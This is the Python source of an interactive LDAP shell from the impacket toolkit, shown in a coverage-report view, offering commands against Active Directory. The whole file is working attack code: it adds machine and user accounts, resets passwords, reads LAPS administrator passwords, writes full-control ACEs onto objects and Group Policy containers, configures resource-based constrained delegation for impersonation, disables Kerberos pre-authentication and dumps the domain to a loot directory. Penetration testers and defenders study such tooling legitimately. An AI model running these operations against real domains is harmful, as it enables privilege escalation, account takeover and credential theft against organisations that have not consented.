Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2 

3# 

4# This software is provided under under a slightly modified version 

5# of the Apache Software License. See the accompanying LICENSE file 

6# for more information. 

7# 

8# Description: Mini shell using some of the LDAP functionalities of the library 

9# 

10# Author: 

11# Mathieu Gascon-Lefebvre (@mlefebvre) 

12# 

13import re 

14import string 

15import sys 

16import cmd 

17import random 

18import ldap3 

19from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM 

20from ldap3.utils.conv import escape_filter_chars 

21from six import PY2 

22import shlex 

23from impacket import LOG 

24from ldap3.protocol.microsoft import security_descriptor_control 

25from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP 

26from impacket.ldap import ldaptypes 

27 

28 

29class LdapShell(cmd.Cmd): 

30 LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941" 

31 

32 def __init__(self, tcp_shell, domain_dumper, client): 

33 cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout) 

34 

35 if PY2: 

36 # switch to unicode. 

37 reload(sys) # noqa: F821 pylint:disable=undefined-variable 

38 sys.setdefaultencoding('utf8') 

39 

40 sys.stdout = tcp_shell.stdout 

41 sys.stdin = tcp_shell.stdin 

42 sys.stderr = tcp_shell.stdout 

43 self.use_rawinput = False 

44 self.shell = tcp_shell 

45 

46 self.prompt = '\n# ' 

47 self.tid = None 

48 self.intro = 'Type help for list of commands' 

49 self.loggedIn = True 

50 self.last_output = None 

51 self.completion = [] 

52 self.client = client 

53 self.domain_dumper = domain_dumper 

54 

55 def emptyline(self): 

56 pass 

57 

58 def onecmd(self, s): 

59 ret_val = False 

60 try: 

61 ret_val = cmd.Cmd.onecmd(self, s) 

62 except Exception as e: 

63 print(e) 

64 LOG.error(e) 

65 LOG.debug('Exception info', exc_info=True) 

66 

67 return ret_val 

68 

69 def create_empty_sd(self): 

70 sd = ldaptypes.SR_SECURITY_DESCRIPTOR() 

71 sd['Revision'] = b'\x01' 

72 sd['Sbz1'] = b'\x00' 

73 sd['Control'] = 32772 

74 sd['OwnerSid'] = ldaptypes.LDAP_SID() 

75 # BUILTIN\Administrators 

76 sd['OwnerSid'].fromCanonical('S-1-5-32-544') 

77 sd['GroupSid'] = b'' 

78 sd['Sacl'] = b'' 

79 acl = ldaptypes.ACL() 

80 acl['AclRevision'] = 4 

81 acl['Sbz1'] = 0 

82 acl['Sbz2'] = 0 

83 acl.aces = [] 

84 sd['Dacl'] = acl 

85 return sd 

86 

87 def create_allow_ace(self, sid): 

88 nace = ldaptypes.ACE() 

89 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 

90 nace['AceFlags'] = 0x00 

91 acedata = ldaptypes.ACCESS_ALLOWED_ACE() 

92 acedata['Mask'] = ldaptypes.ACCESS_MASK() 

93 acedata['Mask']['Mask'] = 983551 # Full control 

94 acedata['Sid'] = ldaptypes.LDAP_SID() 

95 acedata['Sid'].fromCanonical(sid) 

96 nace['Ace'] = acedata 

97 return nace 

98 

99 def do_write_gpo_dacl(self, line): 

100 args = shlex.split(line) 

101 print ("Adding %s to GPO with GUID %s" % (args[0], args[1])) 

102 if len(args) != 2: 

103 raise Exception("A samaccountname and GPO sid are required.") 

104 

105 tgtUser = args[0] 

106 gposid = args[1] 

107 self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid']) 

108 if len( self.client.entries) <= 0: 

109 raise Exception("Didnt find the given user") 

110 

111 user = self.client.entries[0] 

112 

113 controls = security_descriptor_control(sdflags=0x04) 

114 self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls) 

115 

116 if len( self.client.entries) <= 0: 

117 raise Exception("Didnt find the given gpo") 

118 gpo = self.client.entries[0] 

119 

120 secDescData = gpo['nTSecurityDescriptor'].raw_values[0] 

121 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) 

122 newace = self.create_allow_ace(str(user['objectSid'])) 

123 secDesc['Dacl']['Data'].append(newace) 

124 data = secDesc.getData() 

125 

126 self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) 

127 if self.client.result["result"] == 0: 

128 print('LDAP server claims to have taken the secdescriptor. Have fun') 

129 else: 

130 raise Exception("Something wasnt right: %s" %str(self.client.result['description'])) 

131 

132 def do_add_computer(self, line): 

133 args = shlex.split(line) 

134 

135 if not self.client.server.ssl: 

136 print("Error adding a new computer with LDAP requires LDAPS.") 

137 

138 if len(args) != 1 and len(args) != 2: 

139 raise Exception("Error expected a computer name and an optional password argument.") 

140 

141 computer_name = args[0] 

142 if not computer_name.endswith('$'): 

143 computer_name += '$' 

144 

145 print("Attempting to add a new computer with the name: %s" % computer_name) 

146 

147 password = "" 

148 if len(args) == 1: 

149 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

150 else: 

151 password = args[1] 

152 

153 domain_dn = self.domain_dumper.root 

154 domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:] 

155 

156 print("Inferred Domain DN: %s" % domain_dn) 

157 print("Inferred Domain Name: %s" % domain) 

158 

159 computer_hostname = computer_name[:-1] # Remove $ sign 

160 computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root) 

161 print("New Computer DN: %s" % computer_dn) 

162 

163 spns = [ 

164 'HOST/%s' % computer_hostname, 

165 'HOST/%s.%s' % (computer_hostname, domain), 

166 'RestrictedKrbHost/%s' % computer_hostname, 

167 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain), 

168 ] 

169 ucd = { 

170 'dnsHostName': '%s.%s' % (computer_hostname, domain), 

171 'userAccountControl': 4096, 

172 'servicePrincipalName': spns, 

173 'sAMAccountName': computer_name, 

174 'unicodePwd': '"{}"'.format(password).encode('utf-16-le') 

175 } 

176 

177 res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd) 

178 

179 if not res: 

180 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM: 

181 print("Failed to add a new computer. The server denied the operation.") 

182 else: 

183 print('Failed to add a new computer: %s' % str(self.client.result)) 

184 else: 

185 print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password)) 

186 

187 def do_add_user(self, line): 

188 args = shlex.split(line) 

189 if len(args) == 0: 

190 raise Exception("A username is required.") 

191 

192 new_user = args[0] 

193 if len(args) == 1: 

194 parent_dn = 'CN=Users,%s' % self.domain_dumper.root 

195 else: 

196 parent_dn = args[1] 

197 

198 new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

199 

200 new_user_dn = 'CN=%s,%s' % (new_user, parent_dn) 

201 ucd = { 

202 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root, 

203 'distinguishedName': new_user_dn, 

204 'cn': new_user, 

205 'sn': new_user, 

206 'givenName': new_user, 

207 'displayName': new_user, 

208 'name': new_user, 

209 'userAccountControl': 512, 

210 'accountExpires': '0', 

211 'sAMAccountName': new_user, 

212 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le') 

213 } 

214 

215 print('Attempting to create user in: %s', parent_dn) 

216 res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd) 

217 if not res: 

218 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 

219 raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') 

220 else: 

221 raise Exception('Failed to add a new user: %s' % str(self.client.result['description'])) 

222 else: 

223 print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password)) 

224 

225 def do_add_user_to_group(self, line): 

226 user_name, group_name = shlex.split(line) 

227 

228 user_dn = self.get_dn(user_name) 

229 if not user_dn: 

230 raise Exception("User not found in LDAP: %s" % user_name) 

231 

232 group_dn = self.get_dn(group_name) 

233 if not group_dn: 

234 raise Exception("Group not found in LDAP: %s" % group_name) 

235 

236 user_name = user_dn.split(',')[0][3:] 

237 group_name = group_dn.split(',')[0][3:] 

238 

239 res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]}) 

240 if res: 

241 print('Adding user: %s to group %s result: OK' % (user_name, group_name)) 

242 else: 

243 raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description']))) 

244 

245 def do_change_password(self, line): 

246 args = shlex.split(line) 

247 

248 if len(args) != 1 and len(args) != 2: 

249 raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args)) 

250 

251 user_dn = self.get_dn(args[0]) 

252 print("Got User DN: " + user_dn) 

253 

254 password = "" 

255 if len(args) == 1: 

256 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

257 else: 

258 password = args[1] 

259 

260 print("Attempting to set new password of: %s" % password) 

261 success = self.client.extend.microsoft.modify_password(user_dn, password) 

262 

263 if self.client.result['result'] == 0: 

264 print('Password changed successfully!') 

265 else: 

266 if self.client.result['result'] == 50: 

267 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

268 elif self.client.result['result'] == 19: 

269 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

270 else: 

271 raise Exception('The server returned an error: %s', self.client.result['message']) 

272 

273 def do_clear_rbcd(self, computer_name): 

274 

275 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) 

276 if success is False or len(self.client.entries) != 1: 

277 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

278 

279 target = self.client.entries[0] 

280 target_sid = target["objectsid"].value 

281 print("Found Target DN: %s" % target.entry_dn) 

282 print("Target SID: %s\n" % target_sid) 

283 

284 sd = self.create_empty_sd() 

285 

286 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) 

287 if self.client.result['result'] == 0: 

288 print('Delegation rights cleared successfully!') 

289 else: 

290 if self.client.result['result'] == 50: 

291 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

292 elif self.client.result['result'] == 19: 

293 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

294 else: 

295 raise Exception('The server returned an error: %s', self.client.result['message']) 

296 

297 def do_dump(self, line): 

298 print('Dumping domain info...') 

299 self.stdout.flush() 

300 self.domain_dumper.domainDump() 

301 print('Domain info dumped into lootdir!') 

302 

303 def do_disable_account(self, username): 

304 self.toggle_account_enable_disable(username, False) 

305 

306 def do_enable_account(self, username): 

307 self.toggle_account_enable_disable(username, True) 

308 

309 def toggle_account_enable_disable(self, user_name, enable): 

310 UF_ACCOUNT_DISABLE = 2 

311 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl']) 

312 

313 if len(self.client.entries) != 1: 

314 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

315 

316 user_dn = self.client.entries[0].entry_dn 

317 if not user_dn: 

318 raise Exception("User not found in LDAP: %s" % user_name) 

319 

320 entry = self.client.entries[0] 

321 userAccountControl = entry["userAccountControl"].value 

322 

323 print("Original userAccountControl: %d" % userAccountControl) 

324 

325 if enable: 

326 userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE 

327 else: 

328 userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE 

329 

330 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])}) 

331 

332 if self.client.result['result'] == 0: 

333 print("Updated userAccountControl attribute successfully") 

334 else: 

335 if self.client.result['result'] == 50: 

336 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

337 elif self.client.result['result'] == 19: 

338 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

339 else: 

340 raise Exception('The server returned an error: %s', self.client.result['message']) 

341 

342 def do_search(self, line): 

343 arguments = shlex.split(line) 

344 if len(arguments) == 0: 

345 raise Exception("A query is required.") 

346 

347 filter_attributes = ['name', 'distinguishedName', 'sAMAccountName'] 

348 attributes = filter_attributes[:] 

349 attributes.append('objectSid') 

350 for argument in arguments[1:]: 

351 attributes.append(argument) 

352 

353 search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes) 

354 self.search('(|%s)' % search_query, *attributes) 

355 

356 def do_set_dontreqpreauth(self, line): 

357 UF_DONT_REQUIRE_PREAUTH = 4194304 

358 

359 args = shlex.split(line) 

360 if len(args) != 2: 

361 raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).") 

362 

363 user_name = args[0] 

364 flag_str = args[1] 

365 flag = False 

366 

367 if flag_str.lower() == "true": 

368 flag = True 

369 elif flag_str.lower() == "false": 

370 flag = False 

371 else: 

372 raise Exception("The specified flag must be either true or false") 

373 

374 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl']) 

375 if len(self.client.entries) != 1: 

376 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

377 

378 user_dn = self.client.entries[0].entry_dn 

379 if not user_dn: 

380 raise Exception("User not found in LDAP: %s" % user_name) 

381 

382 entry = self.client.entries[0] 

383 userAccountControl = entry["userAccountControl"].value 

384 print("Original userAccountControl: %d" % userAccountControl) 

385 

386 if flag: 

387 userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH 

388 else: 

389 userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH 

390 

391 print("Updated userAccountControl: %d" % userAccountControl) 

392 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])}) 

393 

394 if self.client.result['result'] == 0: 

395 print("Updated userAccountControl attribute successfully") 

396 else: 

397 if self.client.result['result'] == 50: 

398 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

399 elif self.client.result['result'] == 19: 

400 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

401 else: 

402 raise Exception('The server returned an error: %s', self.client.result['message']) 

403 

404 def do_get_user_groups(self, user_name): 

405 user_dn = self.get_dn(user_name) 

406 if not user_dn: 

407 raise Exception("User not found in LDAP: %s" % user_name) 

408 

409 self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn))) 

410 

411 def do_get_group_users(self, group_name): 

412 group_dn = self.get_dn(group_name) 

413 if not group_dn: 

414 raise Exception("Group not found in LDAP: %s" % group_name) 

415 

416 self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name") 

417 

418 def do_get_laps_password(self, computer_name): 

419 

420 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd']) 

421 if len(self.client.entries) != 1: 

422 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

423 

424 computer = self.client.entries[0] 

425 print("Found Computer DN: %s" % computer.entry_dn) 

426 

427 password = computer["ms-MCS-AdmPwd"].value 

428 

429 if password is not None: 

430 print("LAPS Password: %s" % password) 

431 else: 

432 print("Unable to Read LAPS Password for Computer") 

433 

434 def do_grant_control(self, line): 

435 args = shlex.split(line) 

436 

437 if len(args) != 1 and len(args) != 2: 

438 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) 

439 

440 controls = security_descriptor_control(sdflags=0x04) 

441 

442 target_name = args[0] 

443 grantee_name = args[1] 

444 

445 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) 

446 if success is False or len(self.client.entries) != 1: 

447 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

448 

449 target = self.client.entries[0] 

450 target_sid = target["objectSid"].value 

451 print("Found Target DN: %s" % target.entry_dn) 

452 print("Target SID: %s\n" % target_sid) 

453 

454 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) 

455 if success is False or len(self.client.entries) != 1: 

456 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

457 

458 grantee = self.client.entries[0] 

459 grantee_sid = grantee["objectSid"].value 

460 print("Found Grantee DN: %s" % grantee.entry_dn) 

461 print("Grantee SID: %s" % grantee_sid) 

462 

463 try: 

464 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0]) 

465 except IndexError: 

466 sd = self.create_empty_sd() 

467 

468 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) 

469 self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls) 

470 

471 if self.client.result['result'] == 0: 

472 print('DACL modified successfully!') 

473 print('%s now has control of %s' % (grantee_name, target_name)) 

474 else: 

475 if self.client.result['result'] == 50: 

476 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

477 elif self.client.result['result'] == 19: 

478 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

479 else: 

480 raise Exception('The server returned an error: %s', self.client.result['message']) 

481 

482 def do_set_rbcd(self, line): 

483 args = shlex.split(line) 

484 

485 if len(args) != 1 and len(args) != 2: 

486 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) 

487 

488 target_name = args[0] 

489 grantee_name = args[1] 

490 

491 target_sid = args[0] 

492 grantee_sid = args[1] 

493 

494 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) 

495 if success is False or len(self.client.entries) != 1: 

496 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

497 

498 target = self.client.entries[0] 

499 target_sid = target["objectSid"].value 

500 print("Found Target DN: %s" % target.entry_dn) 

501 print("Target SID: %s\n" % target_sid) 

502 

503 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) 

504 if success is False or len(self.client.entries) != 1: 

505 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

506 

507 grantee = self.client.entries[0] 

508 grantee_sid = grantee["objectSid"].value 

509 print("Found Grantee DN: %s" % grantee.entry_dn) 

510 print("Grantee SID: %s" % grantee_sid) 

511 

512 try: 

513 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0]) 

514 print('Currently allowed sids:') 

515 for ace in sd['Dacl'].aces: 

516 print(' %s' % ace['Ace']['Sid'].formatCanonical()) 

517 

518 if ace['Ace']['Sid'].formatCanonical() == grantee_sid: 

519 print("Grantee is already permitted to perform delegation to the target host") 

520 return 

521 

522 except IndexError: 

523 sd = self.create_empty_sd() 

524 

525 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) 

526 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) 

527 

528 if self.client.result['result'] == 0: 

529 print('Delegation rights modified successfully!') 

530 print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name)) 

531 else: 

532 if self.client.result['result'] == 50: 

533 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

534 elif self.client.result['result'] == 19: 

535 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

536 else: 

537 raise Exception('The server returned an error: %s', self.client.result['message']) 

538 

539 def search(self, query, *attributes): 

540 self.client.search(self.domain_dumper.root, query, attributes=attributes) 

541 for entry in self.client.entries: 

542 print(entry.entry_dn) 

543 for attribute in attributes: 

544 value = entry[attribute].value 

545 if value: 

546 print("%s: %s" % (attribute, entry[attribute].value)) 

547 if any(attributes): 

548 print("---") 

549 

550 def get_dn(self, sam_name): 

551 if "," in sam_name: 

552 return sam_name 

553 

554 try: 

555 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid']) 

556 return self.client.entries[0].entry_dn 

557 except IndexError: 

558 return None 

559 

560 def do_exit(self, line): 

561 if self.shell is not None: 

562 self.shell.close() 

563 return True 

564 

565 def do_help(self, line): 

566 print(""" 

567 add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS. 

568 add_user new_user [parent] - Creates a new user. 

569 add_user_to_group user group - Adds a user to a group. 

570 change_password user [password] - Attempt to change a given user's password. Requires LDAPS. 

571 clear_rbcd target - Clear the resource based constrained delegation configuration information. 

572 disable_account user - Disable the user's account. 

573 enable_account user - Enable the user's account. 

574 dump - Dumps the domain. 

575 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName. 

576 get_user_groups user - Retrieves all groups this user is a member of. 

577 get_group_users group - Retrieves all members of a group. 

578 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName). 

579 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName). 

580 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false. 

581 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). 

582 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. 

583 exit - Terminates this session.""") 

584 

585 def do_EOF(self, line): 

586 print('Bye!\n') 

587 return True